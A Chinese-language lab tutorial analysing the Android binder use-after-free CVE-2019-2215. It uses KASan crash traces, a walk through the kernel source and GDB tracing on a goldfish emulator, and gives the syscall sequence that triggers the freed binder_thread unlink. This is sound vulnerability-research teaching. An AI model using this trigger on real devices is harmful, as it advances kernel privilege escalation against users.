利用if函数和android,Android 内核漏洞分析和利用学习手册(下)

写这个手册目的是为了学习在Android平台上的内核漏洞分析和漏洞利用开发,顺便记录一下过程。

0x01 根本原因分析

根本原因分析(RCA)是漏洞研究中非常重要的一部分。随着RCA我们可以判断,如果一个崩溃或漏洞可以被利用。

RCA是逆向过程,可以理解导致崩溃的代码。

重访崩溃

从崩溃日志中,我们已经知道它是" UAF"漏洞。让我们重新访问崩溃报告并尝试了解它为什么发生。

将崩溃日志分为三个部分:分配,释放和使用

分配

[]save_stack_trace+0x16/0x18arch/x86/kernel/stacktrace.c:59 []save_stackmm/kasan/common.c:76 []set_trackmm/kasan/common.c:85 []__kasan_kmalloc+0x133/0x1ccmm/kasan/common.c:501 []kasan_kmalloc+0x9/0xbmm/kasan/common.c:515 []kmem_cache_alloc_trace+0x1bd/0x26fmm/slub.c:2819 []kmallocinclude/linux/slab.h:488 []kzallocinclude/linux/slab.h:661 []binder_get_thread+0x166/0x6dbdrivers/android/binder.c:4677 []binder_poll+0x4c/0x1c2drivers/android/binder.c:4805 []ep_item_pollfs/eventpoll.c:888 []ep_insertfs/eventpoll.c:1476 []SYSC_epoll_ctlfs/eventpoll.c:2128 []SyS_epoll_ctl+0x1558/0x24f0fs/eventpoll.c:2014 []do_syscall_64+0x19e/0x225arch/x86/entry/common.c:292 []entry_SYSCALL_64_after_hwframe+0x3d/0xa2arch/x86/entry/entry_64.S:233

这是简化的调用图。

5f3c8c14b15ec04db23f950c来自PoC的相关源代码行

epoll_ctl(epfd,EPOLL_CTL_ADD,fd,&event);

释放

[]save_stack_trace+0x16/0x18arch/x86/kernel/stacktrace.c:59 []save_stackmm/kasan/common.c:76 []set_trackmm/kasan/common.c:85 []__kasan_slab_free+0x18f/0x23fmm/kasan/common.c:463 []kasan_slab_free+0xe/0x10mm/kasan/common.c:471 []slab_free_hookmm/slub.c:1407 []slab_free_freelist_hookmm/slub.c:1458 []slab_freemm/slub.c:3039 []kfree+0x193/0x5b3mm/slub.c:3976 []binder_free_threaddrivers/android/binder.c:4705 []binder_thread_dec_tmpref+0x192/0x1d9drivers/android/binder.c:2053 []binder_thread_release+0x464/0x4bddrivers/android/binder.c:4794 []binder_ioctl+0x48a/0x101cdrivers/android/binder.c:5062 []do_vfs_ioctl+0x608/0x106afs/ioctl.c:46 []SYSC_ioctlfs/ioctl.c:701 []SyS_ioctl+0x75/0xa4fs/ioctl.c:692 []do_syscall_64+0x19e/0x225arch/x86/entry/common.c:292 []entry_SYSCALL_64_after_hwframe+0x3d/0xa2arch/x86/entry/entry_64.S:233

这是简化的调用图。

5f3c8c14b15ec04db23f950cioctl(fd,BINDER_THREAD_EXIT,NULL);

让我们看看workshop/android-4.14-dev/goldfish/drivers/android/binder.c中实现的binder_free_thread。

staticvoidbinder_free_thread(structbinder_thread*thread) { [...] kfree(thread); }

我们看到通过完全匹配释放调用跟踪的调用binder_thread来释放结构kfree。这证实了悬空的块是binder_thread结构。

让我们看看如何定义struct binder_thread。

structbinder_thread{ structbinder_proc*proc; structrb_noderb_node; structlist_headwaiting_thread_node; intpid; intlooper;/*onlymodifiedbythisthread*/ boollooper_need_return;/*canbewrittenbyotherthread*/ structbinder_transaction*transaction_stack; structlist_headtodo; boolprocess_todo; structbinder_errorreturn_error; structbinder_errorreply_error; wait_queue_head_twait; structbinder_statsstats; atomic_ttmp_ref; boolis_dead; structtask_struct*task; };

使用

[]_raw_spin_lock_irqsave+0x3a/0x5dkernel/locking/spinlock.c:160 []remove_wait_queue+0x27/0x122kernel/sched/wait.c:50 ?[]fsnotify_unmount_inodes+0x1e8/0x1e8fs/notify/fsnotify.c:99 []ep_remove_wait_queuefs/eventpoll.c:612 []ep_unregister_pollwait+0x160/0x1bdfs/eventpoll.c:630 []ep_free+0x8b/0x181fs/eventpoll.c:847 ?[]ep_eventpoll_poll+0x228/0x228fs/eventpoll.c:942 []ep_eventpoll_release+0x48/0x54fs/eventpoll.c:879 []__fput+0x1f2/0x51dfs/file_table.c:210 []____fput+0x15/0x18fs/file_table.c:244 []task_work_run+0x127/0x154kernel/task_work.c:113 []exit_task_workinclude/linux/task_work.h:22 []do_exit+0x818/0x2384kernel/exit.c:875 ?[]mm_update_next_owner+0x52f/0x52fkernel/exit.c:468 []do_group_exit+0x12c/0x24bkernel/exit.c:978 ?[]spin_unlock_irqinclude/linux/spinlock.h:367 ?[]do_group_exit+0x24b/0x24bkernel/exit.c:975 []SYSC_exit_group+0x17/0x17kernel/exit.c:989 []SyS_exit_group+0x14/0x14kernel/exit.c:987 []do_syscall_64+0x19e/0x225arch/x86/entry/common.c:292 []entry_SYSCALL_64_after_hwframe+0x3d/0xa2arch/x86/entry/entry_64.S:233

这是简化的调用图。

5f3c8c14b15ec04db23f950c我们在PoC中看不到有任何调用SyS_exit_group的行。事实证明,使用发生在进程退出并最终exit_group调用系统调用时,这是当它尝试清理资源使用悬空块时。

Visual Studio Code

我们将使用Visual Studio Code进行Android内核源代码导航。我使用此项目https://github.com/amezin/vscode-linux-kernel以获得更好的智能感知支持。

静态分析

我们已经知道binder_thread是悬空的块。我们静态跟踪崩溃的PoC中的函数调用,看看发生了什么。

我们要回答以下问题:

·为什么要分配binder_thread结构?

·为什么要释放binder_thread结构?

·为什么在释放binder_thread结构时就使用结构?

open

fd=open("/dev/binder",O_RDONLY);

让我们打开workshop/android-4.14-dev/goldfish/drivers/android/binder.c并查看如何实现open系统调用。

staticconststructfile_operationsbinder_fops={ [...] .open=binder_open, [...] };

我们看到open系统调用由binder_open函数处理。

关注binder_open函数并找出它的作用。

staticintbinder_open(structinode*nodp,structfile*filp) { structbinder_proc*proc; [...] proc=kzalloc(sizeof(*proc),GFP_KERNEL); if(proc==NULL) return-ENOMEM; [...] filp->private_data=proc; [...] return0; }

binder_open分配binder_proc数据结构并将其分配给filp->private_data。

epoll_create

epfd=epoll_create(1000);

打开workshop/android-4.14-dev/goldfish/fs/eventpoll.c并查看epoll_create如何实现系统调用,还将遵循调用图并研究epoll_create将要调用的所有重要功能。

SYSCALL_DEFINE1(epoll_create,int,size) { if(sizewq); init_waitqueue_head(&ep->poll_wait); INIT_LIST_HEAD(&ep->rdllist); ep->rbr=RB_ROOT_CACHED; [...] *pep=ep; return0; [...] returnerror; }

·分配struct eventpoll,初始化等待队列 wq和poll_wait成员

·初始化rbr成员,该成员是红黑树的根

struct eventpoll是事件轮询子系统使用的主要数据结构。看看eventpoll如何在workshop/android-4.14-dev/goldfish/fs/eventpoll.c中定义结构。

structeventpoll{ /*Protecttheaccesstothisstructure*/ spinlock_tlock; /* *Thismutexisusedtoensurethatfilesarenotremoved *whileepollisusingthem.Thisisheldduringtheevent *collectionloop,thefilecleanppath,theepollfileexit *codeandthectloperations. */ structmutexmtx; /*Waitqueueusedbysys_epoll_wait()*/ wait_queue_head_twq; /*Waitqueueusedbyfile->poll()*/ wait_queue_head_tpoll_wait; /*Listofreadyfiledescriptors*/ structlist_headrdllist; /*RBtreerootusedtostoremonitoredfdstructs*/ structrb_root_cachedrbr; /* *Thisisasinglelinkedlistthatchainsallthe"structepitem"that *happenedwhiletransferringreadyeventstouserspacew/out *holding->lock. */ structepitem*ovflist; /*wakeup_sourceusedwhenep_scan_ready_listisrunning*/ structwakeup_source*ws; /*Theuserthatcreatedtheeventpolldescriptor*/ structuser_struct*user; structfile*file; /*usedtooptimizeloopdetectioncheck*/ intvisited; structlist_headvisited_list_link; #ifdefCONFIG_NET_RX_BUSY_POLL /*usedtotrackbusypollnapi_id*/ unsignedintnapi_id; #endif };

epoll_ctl

epoll_ctl(epfd,EPOLL_CTL_ADD,fd,&event);

让我们打开workshop/android-4.14-dev/goldfish/fs/eventpoll.c看看如何实现epoll_ctl。我们通过EPOLL_CTL_ADD作为操作参数。

SYSCALL_DEFINE4(epoll_ctl,int,epfd,int,op,int,fd, structepoll_event__user*,event) { interror; intfull_check=0; structfdf,tf; structeventpoll*ep; structepitem*epi; structepoll_eventepds; structeventpoll*tep=NULL; error=-EFAULT; if(ep_op_has_event(op)&& copy_from_user(&epds,event,sizeof(structepoll_event))) gotoerror_return; error=-EBADF; f=fdget(epfd); if(!f.file) gotoerror_return; /*Getthe"structfile*"forthetargetfile*/ tf=fdget(fd); if(!tf.file) gotoerror_fput; [...] ep=f.file->private_data; [...] epi=ep_find(ep,tf.file,fd); error=-EINVAL; switch(op){ caseEPOLL_CTL_ADD: if(!epi){ epds.events|=POLLERR|POLLHUP; error=ep_insert(ep,&epds,tf.file,fd,full_check); }else error=-EEXIST; [...] [...] } [...] returnerror; }

·将epoll_event结构从用户空间复制到内核空间

·查找和文件描述符fd对应的file指针epfd

·eventpoll从epoll文件描述符private_data的file指针成员中获取结构的指针epfd

·调用从存储在与文件描述符匹配的结构中的红黑树节点中ep_find找到指向链接epitem结构的指针eventpoll

·如果epitem找不到对应的fd,则调用ep_insert函数分配并将其链接epitem到eventpoll结构的rbr成员

让我们看看如何定义struct epitem。

structepitem{ union{ /*RBtreenodelinksthisstructuretotheeventpollRBtree*/ structrb_noderbn; /*Usedtofreethestructepitem*/ structrcu_headrcu; }; /*Listheaderusedtolinkthisstructuretotheeventpollreadylist*/ structlist_headrdllink; /* *Workstogether"structeventpoll"->ovflistinkeepingthe *singlelinkedchainofitems. */ structepitem*next; /*Thefiledescriptorinformationthisitemrefersto*/ structepoll_filefdffd; /*Numberofactivewaitqueueattachedtopolloperations*/ intnwait; /*Listcontainingpollwaitqueues*/ structlist_headpwqlist; /*The"container"ofthisitem*/ structeventpoll*ep; /*Listheaderusedtolinkthisitemtothe"structfile"itemslist*/ structlist_headfllink; /*wakeup_sourceusedwhenEPOLLWAKEUPisset*/ structwakeup_source__rcu*ws; /*Thestructurethatdescribetheinterestedeventsandthesourcefd*/ structepoll_eventevent; };

下面给出的图显示了epitem结构如何与eventpoll结构链接。

让我们跟随ep_insert函数,看看它到底是做什么的。

staticintep_insert(structeventpoll*ep,structepoll_event*event, structfile*tfile,intfd,intfull_check) { interror,revents,pwake=0; unsignedlongflags; longuser_watches; structepitem*epi; structep_pqueueepq; [...] if(!(epi=kmem_cache_alloc(epi_cache,GFP_KERNEL))) return-ENOMEM; /*Iteminitializationfollowhere...*/ INIT_LIST_HEAD(&epi->rdllink); INIT_LIST_HEAD(&epi->fllink); INIT_LIST_HEAD(&epi->pwqlist); epi->ep=ep; ep_set_ffd(&epi->ffd,tfile,fd); epi->event=*event; [...] /*Initializethepolltableusingthequeuecallback*/ epq.epi=epi; init_poll_funcptr(&epq.pt,ep_ptable_queue_proc); [...] revents=ep_item_poll(epi,&epq.pt); [...] ep_rbtree_insert(ep,epi); [...] return0; [...] returnerror; }

·分配一个临时结构 ep_pqueue

·分配epitem结构并将其初始化

·初始化epi->pwqlist用于链接轮询等待队列的成员

·设置epitem结构成员ffd->file = file,在我们的例子中,ffd->fd = fd它是file通过调用绑定器的结构指针和描述符ep_set_ffd

·设置epq.epi为epi指针

·设置epq.pt->_qproc为ep_ptable_queue_proc 回调地址

·调用ep_item_poll传递epi和epq.pt(轮询表)的地址作为参数

·最后,通过调用函数epitem将eventpoll结构链接到结构的红黑树根节点ep_rbtree_insert

让我们跟随ep_item_poll并找出它的作用。

staticinlineunsignedintep_item_poll(structepitem*epi,poll_table*pt) { pt->_key=epi->event.events; returnepi->ffd.file->f_op->poll(epi->ffd.file,pt)&epi->event.events; }

·poll在binder的file结构中调用函数,并f_op->poll传递binder的file结构指针和poll_table指针

注意:现在,我们将从epoll子系统跳转到绑定器子系统。

让我们打开workshop/android-4.14-dev/goldfish/drivers/android/binder.c并查看如何poll实现系统调用。

staticconststructfile_operationsbinder_fops={ [...] .poll=binder_poll, [...] };

看到poll系统调用由binder_poll函数处理。

让我们关注binder_poll函数并找出它的作用。

staticunsignedintbinder_poll(structfile*filp, structpoll_table_struct*wait) { structbinder_proc*proc=filp->private_data; structbinder_thread*thread=NULL; [...] thread=binder_get_thread(proc); if(!thread) returnPOLLERR; [...] poll_wait(filp,&thread->wait,wait); [...] return0; }

·获取指向binder_proc结构的指针filp->private_data

·调用binder_get_thread传递binder_proc结构的指针

·最后调用poll_wait传递联编程序的file结构指针,&thread->wait即wait_queue_head_t指针和poll_table_struct指针

首先binder_get_thread,让我们了解一下它的作用。之后,我们将遵循poll_wait函数。

staticstructbinder_thread*binder_get_thread(structbinder_proc*proc) { structbinder_thread*thread; structbinder_thread*new_thread; [...] thread=binder_get_thread_ilocked(proc,NULL); [...] if(!thread){ new_thread=kzalloc(sizeof(*thread),GFP_KERNEL); [...] thread=binder_get_thread_ilocked(proc,new_thread); [...] } returnthread; }

·尝试通过调用获取binder_threadifproc->threads.rb_node``binder_get_thread_ilocked

·否则它分配一个binder_thread结构

·最后binder_get_thread_ilocked再次调用,这将初始化新分配的binder_thread结构并将其链接到proc->threads.rb_node基本上是红黑树节点的成员

如果在" 分配"部分中看到调用图,则会发现这binder_thread是分配结构的地方。

现在,我们跟随poll_wait函数并找出它的作用。

staticinlinevoidpoll_wait(structfile*filp,wait_queue_head_t*wait_address,poll_table*p) { if(p&&p->_qproc&&wait_address) p->_qproc(filp,wait_address,p); }

·调用分配给传递的联编程序结构指针的回调函数,指针和指针p->_qproc``file``wait_queue_head_t``poll_table

如果你向上查看ep_insert函数,你将看到p->_qproc已设置为ep_ptable_queue_proc函数的地址。

注意:现在,我们将从binder子系统跳回epoll子系统。

让我们打开workshop/android-4.14-dev/goldfish/fs/eventpoll.c并尝试了解函数ep_ptable_queue_proc。

/* *Thisisthecallbackthatisusedtoaddourwaitqueuetothe *targetfilewakeuplists. */ staticvoidep_ptable_queue_proc(structfile*file,wait_queue_head_t*whead, poll_table*pt) { structepitem*epi=ep_item_from_epqueue(pt); structeppoll_entry*pwq; if(epi->nwait>=0&&(pwq=kmem_cache_alloc(pwq_cache,GFP_KERNEL))){ init_waitqueue_func_entry(&pwq->wait,ep_poll_callback); pwq->whead=whead; pwq->base=epi; if(epi->event.events&EPOLLEXCLUSIVE) add_wait_queue_exclusive(whead,&pwq->wait); else add_wait_queue(whead,&pwq->wait); list_add_tail(&pwq->llink,&epi->pwqlist); epi->nwait++; }else{ /*Wehavetosignalthatanerroroccurred*/ epi->nwait=-1; } }

·通过调用函数epitem从结构获取指针poll_table``ep_item_from_epqueue

·分配eppoll_entry结构并初始化其成员

·将structure whead成员设置eppoll_entry为所wait_queue_head_t传递的结构的指针binder_poll,基本上是指向binder_thread->wait

·通过调用链接whead(binder_thread->wait)eppoll_entry->wait``add_wait_queue

·最后通过调用eppoll_entry->llink链接到epitem->pwqlist``list_add_tail

注意:如果你看一下代码,将会发现有两个地方保存着对的引用binder_thread->wait。第一个参考存储在中eppoll_entry->whead,第二个参考存储在中eppoll_entry->whead。

看看如何定义struct eppoll_entry。

structeppoll_entry{ /*Listheaderusedtolinkthisstructuretothe"structepitem"*/ structlist_headllink; /*The"base"pointerissettothecontainer"structepitem"*/ structepitem*base; /* *Waitqueueitemthatwillbelinkedtothetargetfilewait *queuehead. */ wait_queue_entry_twait; /*Thewaitqueueheadthatlinkedthe"wait"waitqueueitem*/ wait_queue_head_t*whead; };

下面给出的图是binder_thread结构分配和链接到epoll子系统的简化调用图。

5f3c8c14b15ec04db23f950c下图显示了eventpoll结构与binder_thread结构的连接方式。

5f3c8c14b15ec04db23f950cioctl

ioctl(fd,BINDER_THREAD_EXIT,NULL);

打开workshop/android-4.14-dev/goldfish/drivers/android/binder.c并查看ioctl如何实现系统调用。

staticconststructfile_operationsbinder_fops={ [...] .unlocked_ioctl=binder_ioctl, .compat_ioctl=binder_ioctl, [...] };

我们看到,unlocked_ioctl和compat_ioctl系统调用是由处理binder_ioctl函数。

让我们关注binder_ioctl函数,看看它如何处理BINDER_THREAD_EXIT请求。

staticlongbinder_ioctl(structfile*filp,unsignedintcmd,unsignedlongarg) { intret; structbinder_proc*proc=filp->private_data; structbinder_thread*thread; unsignedintsize=_IOC_SIZE(cmd); void__user*ubuf=(void__user*)arg; [...] thread=binder_get_thread(proc); [...] switch(cmd){ [...] caseBINDER_THREAD_EXIT: [...] binder_thread_release(proc,thread); thread=NULL; break; [...] default: ret=-EINVAL; gotoerr; } ret=0; [...] returnret; }

·binder_thread从binder_proc结构获取指向结构的指针

·调用binder_thread_release传递指向binder_proc和binder_thread结构的指针作为参数的函数

让我们跟随binder_thread_release并找出它的作用。

staticintbinder_thread_release(structbinder_proc*proc, structbinder_thread*thread) { [...] intactive_transactions=0; [...] binder_thread_dec_tmpref(thread); returnactive_transactions; }

注:请记住,我们已申请自定义补丁在这个功能本身重新引入了漏洞。

·该函数有趣的部分是,它调用binder_thread_dec_tmpref函数将指针传递给binder_thread结构

让我们跟随binder_thread_dec_tmpref并找出它的作用。

staticvoidbinder_thread_dec_tmpref(structbinder_thread*thread) { [...] if(thread->is_dead&&!atomic_read(&thread->tmp_ref)){ [...] binder_free_thread(thread); return; } [...] }

·调用binder_free_thread传递binder_thread结构指针的函数

让我们跟随binder_free_thread并找出它的作用。

staticvoidbinder_free_thread(structbinder_thread*thread) { [...] kfree(thread); }

·调用kfree释放内核堆块存储binder_thread结构的函数

如果在" 空闲"部分中看到调用图,则会发现这binder_thread是释放结构的地方。

ep_remove

如果在" 使用"部分中看到了调用图,则会发现执行系统调用ep_unregister_pollwait时已exit_group调用该函数。exit_group通常在进程退出时调用。我们希望ep_unregister_pollwait在开发过程中随意触发调用。

让我们看看workshop/android-4.14-dev/goldfish/fs/eventpoll.c并尝试弄清楚如何随意调用ep_unregister_pollwait函数。基本上,我们要检查ep_unregister_pollwait函数的调用者。

查看代码,我发现了两个有趣的调用者函数ep_remove和ep_free。但是ep_remove是一个不错的选择,因为可以epoll_ctl通过EPOLL_CTL_DEL作为操作参数的系统调用来调用。

SYSCALL_DEFINE4(epoll_ctl,int,epfd,int,op,int,fd, structepoll_event__user*,event) { [...] structeventpoll*ep; structepitem*epi; [...] error=-EINVAL; switch(op){ [...] caseEPOLL_CTL_DEL: if(epi) error=ep_remove(ep,epi); else error=-ENOENT; break; [...] } [...] returnerror; }

下面给出的代码行可以随意触发ep_unregister_pollwait函数。

epoll_ctl(epfd,EPOLL_CTL_DEL,fd,&event);

让我们跟随ep_remove函数找出它的作用。

staticintep_remove(structeventpoll*ep,structepitem*epi) { [...] ep_unregister_pollwait(ep,epi); [...] return0; }

·调用ep_unregister_pollwait传递指向eventpoll和epitem结构的指针作为参数的函数

让我们跟随ep_unregister_pollwait函数找出它的作用。

staticvoidep_unregister_pollwait(structeventpoll*ep,structepitem*epi) { structlist_head*lsthead=&epi->pwqlist; structeppoll_entry*pwq; while(!list_empty(lsthead)){ pwq=list_first_entry(lsthead,structeppoll_entry,llink); [...] ep_remove_wait_queue(pwq); [...] } }

·从中获取轮询等待队列 list_head结构指针epi->pwqlist。

·eppoll_entry从epitem->llink成员获取指针,该指针的类型struct list_head

·调用ep_remove_wait_queue传递指向的指针eppoll_entry作为参数

让我们跟随ep_remove_wait_queue函数找出它的作用。

staticvoidep_remove_wait_queue(structeppoll_entry*pwq) { wait_queue_head_t*whead; [...] whead=smp_load_acquire(&pwq->whead); if(whead) remove_wait_queue(whead,&pwq->wait); [...] }

·wait_queue_head_t从获取指针eppoll_entry->whead

·调用remove_wait_queue传递指向wait_queue_head_t和eppoll_entry->wait作为参数的指针的函数

注: eppoll_entry->whead与eppoll_entry->wait既有的引用悬挂 bider_thread结构。

让我们打开workshop/android-4.14-dev/goldfish/kernel/sched/wait.c并关注remove_wait_queue函数以弄清楚它的作用。

voidremove_wait_queue(structwait_queue_head*wq_head,structwait_queue_entry*wq_entry) { unsignedlongflags; spin_lock_irqsave(&wq_head->lock,flags); __remove_wait_queue(wq_head,wq_entry); spin_unlock_irqrestore(&wq_head->lock,flags); }

·调用spin_lock_irqsave传递指针的函数wait_queue_head->lock来获取锁

注意:如果在" 使用"部分中查看堆栈跟踪,你将看到崩溃是由于_raw_spin_lock_irqsave使用了悬空的块而发生的。这是第一次使用悬空块的地方。请记住,wait_queue_entry还包含对悬空块的引用。

·调用__remove_wait_queue传递指向wait_queue_head和wait_queue_entry结构的指针作为参数的函数

让我们打开workshop/android-4.14-dev/goldfish/include/linux/wait.h并关注__remove_wait_queue函数以弄清楚它的作用。

staticinlinevoid __remove_wait_queue(structwait_queue_head*wq_head,structwait_queue_entry*wq_entry) { list_del(&wq_entry->entry); }

·调用list_del将wait_queue_entry->entry类型struct list_head作为参数的指针传递给函数

注意:将 wait_queue_head被忽略,以后将不使用。

让我们打开workshop/android-4.14-dev/goldfish/include/linux/list.h并关注list_del函数以弄清楚它的作用。

staticinlinevoidlist_del(structlist_head*entry) { __list_del_entry(entry); [...] } staticinlinevoid__list_del_entry(structlist_head*entry) { [...] __list_del(entry->prev,entry->next); } staticinlinevoid__list_del(structlist_head*prev,structlist_head*next) { next->prev=prev; WRITE_ONCE(prev->next,next); }

这是取消链接操作,将一个写指针,以binder_thread->wait.head对binder_thread->wait.head.next和binder_thread->wait.head.prev,取消链接 eppoll_entry->wait.entry的binder_thread->wait.head。

这是比悬空块的首次使用更好的基本方法,下图给出了循环双链表的工作原理,以便你更好地了解实际情况。

让我们看看单个初始化节点的node1样子。在上下文中,node1is binder_thread->wait.head和node2is eppoll_entry->wait.entry。

5f3c8c14b15ec04db23f950c现在,看一下两个节点node1和node2如何链接。

5f3c8c14b15ec04db23f950c看看链接node1节点时node2节点的样子。

5f3c8c14b15ec04db23f950c静态分析回顾

让我们回顾一下从根本原因分析部分了解的内容。

在" 静态分析"部分的开头,我们提出了三个问题,让我们尝试回答这些问题。

·为什么要分配 binder_thread结构?

·ep_insert函数binder_poll通过调用ep_item_poll函数触发

·binder_poll尝试从红黑树节点中查找要使用的线程,如果找不到,则分配一个新结构binder_thread

·为什么要释放 binder_thread 结构?

·binder_thread``ioctl显式调用系统调用时释放结构,BINDER_THREAD_EXIT作为操作代码传递

·为什么在释放 binder_thread结构时就使用结构?

·当binder_thread结构被显式释放,指针binder_thread->wait.head从eppoll_entry->whead和eppoll_entry->wait.entry传递

·eventpoll通过调用epoll_ctl和EPOLL_CTL_DEL作为操作参数传递将其移除时,它会尝试取消链接所有等待队列并使用悬空 binder_thread结构

动态分析

在本节中,我们将研究如何使用GDB自动化来了解崩溃行为。

但是在开始之前,我们需要对我们在Android虚拟设备部分中创建的CVE-2019-2215的Android虚拟设备进行硬件更改。

我们还需要构建没有KASan的Android内核,因为我们现在不需要KASan支持。

CPU

为了获得更好的GDB调试和跟踪支持,建议将CPU内核数设置为1。

~/.android/avd/CVE-2019-2215.avd/config.ini在文本编辑器中打开,然后将行更改hw.cpu.ncore = 4为hw.cpu.ncore = 1。

不使用KASan 编译内核

本部分与使用KASan构建内核完全相同,但是这次,我们将使用其他配置文件。

你将在workshop/build-configs/goldfish.x86_64.relwithdebinfo目录中找到配置文件。

ARCH=x86_64 BRANCH=relwithdebinfo CC=clang CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 CLANG_TRIPLE=x86_64-linux-gnu- CROSS_COMPILE=x86_64-linux-androidkernel- LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin KERNEL_DIR=goldfish EXTRA_CMDS='' STOP_SHIP_TRACEPRINTK=1 FILES=" arch/x86/boot/bzImage vmlinux System.map " DEFCONFIG=x86_64_ranchu_defconfig POST_DEFCONFIG_CMDS="check_defconfig&&update_debug_config" functionupdate_debug_config(){ ${KERNEL_DIR}/scripts/config--file${OUT_DIR}/.config -eCONFIG_FRAME_POINTER -eCONFIG_DEBUG_INFO -dCONFIG_DEBUG_INFO_REDUCED -dCONFIG_KERNEL_LZ4 -dCONFIG_RANDOMIZE_BASE (cd${OUT_DIR}&& makeO=${OUT_DIR}$archsubarchCROSS_COMPILE=${CROSS_COMPILE}olddefconfig) }

现在,让我们使用此配置文件并开始编译过程。

ashfaq@hacksys:~/workshop/android-4.14-dev$BUILD_CONFIG=../build-configs/goldfish.x86_64.relwithdebinfobuild/build.sh

内核跟踪

我们的目标是使用GDB python 断点自动化来跟踪函数调用,binder_thread并在释放之前和之后转储结构块。还要binder_thread在取消链接操作完成之前和之后转储相同的结构。

你可以找到一个python文件~/workshop/gdb/dynamic-analysis.py,我在其中编写了一些调试自动化程序以在运行时调试此漏洞。

让我们用新编译的内核启动仿真器。

注意:重新引入该漏洞的补丁已被应用。

这次我们需要四个终端窗口。打开第一个终端窗口并启动模拟器。

ashfaq@hacksys:~/workshop$emulator-show-kernel-no-snapshot-wipe-data-avdCVE-2019-2215-kernel~/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage-qemu-s-S

在第二个窗口中,我们将使用GDB附加到qemu实例。

ashfaq@hacksys:~/workshop$gdb-quiet~/workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux-ex'targetremote:1234' GEFforlinuxready,type`gef'tostart,`gefconfig'toconfigure 77commandsloadedforGDB8.2usingPythonengine2.7 [*]3commandscouldnotbeloaded,run`gefmissing`toknowwhy. Readingsymbolsfrom/home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done. Remotedebuggingusing:1234 warning:whileparsingtargetdescription(atline1):CouldnotloadXMLdocument"i386-64bit.xml" warning:CouldnotloadXMLtargetdescription;ignoring 0x000000000000fff0inexception_stacks() gef>c Continuing.

一旦Android完全启动,请打开第三个终端窗口,我们将在其中构建漏洞触发器并将其推送到虚拟设备。

ashfaq@hacksys:~/workshop$cdexploit/ ashfaq@hacksys:~/workshop/exploit$NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669makebuild-triggerpush-trigger Building:cve-2019-2215-trigger Pushing:cve-2019-2215-triggerto/data/local/tmp cve-2019-2215-trigger:1filepushed,0skipped.44.8MB/s(3958288bytesin0.084s)

现在,在GDB窗口中,按CTRL + C断开GDB,以便我们可以加载自定义python脚本。

你可以在中找到dynamic-analysis.py基于GDBpython脚本构建的自动化工具workshop/gdb。

gef>c Continuing. ^C ProgramreceivedsignalSIGINT,Interrupt. native_safe_halt()at/home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61 61} gef>source~/workshop/gdb/dynamic-analysis.py Breakpoint1at0xffffffff80824047:file/home/ashfaq/workshop/android-4.14-dev/goldfish/drivers/android/binder.c,line4701. Breakpoint2at0xffffffff802aa586:file/home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c,line50. gef>c Continuing.

现在,我们可以打开第四个终端窗口,启动adbShell并运行触发器PoC。

ashfaq@hacksys:~/workshop/exploit$adbshell generic_x86_64:/$cd/data/local/tmp generic_x86_64:/data/local/tmp$./cve-2019-2215-trigger generic_x86_64:/data/local/tmp$

一旦执行了触发PoC,你就会在GDB终端窗口中看到它。

binder_free_thread(thread=0xffff88800c18f200)(enter) 0xffff88800c18f200:0xffff88806793c0000x0000000000000001 0xffff88800c18f210:0x00000000000000000x0000000000000000 0xffff88800c18f220:0xffff88800c18f2200xffff88800c18f220 0xffff88800c18f230:0x0000002000001b350x0000000000000001 0xffff88800c18f240:0x00000000000000000xffff88800c18f248 0xffff88800c18f250:0xffff88800c18f2480x0000000000000000 0xffff88800c18f260:0x00000000000000000x0000000000000000 0xffff88800c18f270:0x00000000000000030x0000000000007201 0xffff88800c18f280:0x00000000000000000x0000000000000000 0xffff88800c18f290:0x00000000000000030x0000000000007201 0xffff88800c18f2a0:0x00000000000000000xffff88805c05cae0 0xffff88800c18f2b0:0xffff88805c05cae00x0000000000000000 0xffff88800c18f2c0:0x00000000000000000x0000000000000000 0xffff88800c18f2d0:0x00000000000000000x0000000000000000 0xffff88800c18f2e0:0x00000000000000000x0000000000000000 0xffff88800c18f2f0:0x00000000000000000x0000000000000000 0xffff88800c18f300:0x00000000000000000x0000000000000000 0xffff88800c18f310:0x00000000000000000x0000000000000000 0xffff88800c18f320:0x00000000000000000x0000000000000000 0xffff88800c18f330:0x00000000000000000x0000000000000000 0xffff88800c18f340:0x00000000000000000x0000000000000000 0xffff88800c18f350:0x00000000000000000x0000000000000000 0xffff88800c18f360:0x00000000000000000x0000000000000000 0xffff88800c18f370:0x00000000000000000x0000000000000000 0xffff88800c18f380:0x00000000000000000x0000000000000001 0xffff88800c18f390:0xffff88806d4bb200 remove_wait_queue(wq_head=0xffff88800c18f2a0,wq_entry=0xffff88805c05cac8)(enter) 0xffff88800c18f200:0xffff88800c18f6000x0000000000000001 0xffff88800c18f210:0x00000000000000000x0000000000000000 0xffff88800c18f220:0xffff88800c18f2200xffff88800c18f220 0xffff88800c18f230:0x0000002000001b350x0000000000000001 0xffff88800c18f240:0x00000000000000000xffff88800c18f248 0xffff88800c18f250:0xffff88800c18f2480x0000000000000000 0xffff88800c18f260:0x00000000000000000x0000000000000000 0xffff88800c18f270:0x00000000000000030x0000000000007201 0xffff88800c18f280:0x00000000000000000x0000000000000000 0xffff88800c18f290:0x00000000000000030x0000000000007201 0xffff88800c18f2a0:0x00000000000000000xffff88805c05cae0 0xffff88800c18f2b0:0xffff88805c05cae00x0000000000000000 0xffff88800c18f2c0:0x00000000000000000x0000000000000000 0xffff88800c18f2d0:0x00000000000000000x0000000000000000 0xffff88800c18f2e0:0x00000000000000000x0000000000000000 0xffff88800c18f2f0:0x00000000000000000x0000000000000000 0xffff88800c18f300:0x00000000000000000x0000000000000000 0xffff88800c18f310:0x00000000000000000x0000000000000000 0xffff88800c18f320:0x00000000000000000x0000000000000000 0xffff88800c18f330:0x00000000000000000x0000000000000000 0xffff88800c18f340:0x00000000000000000x0000000000000000 0xffff88800c18f350:0x00000000000000000x0000000000000000 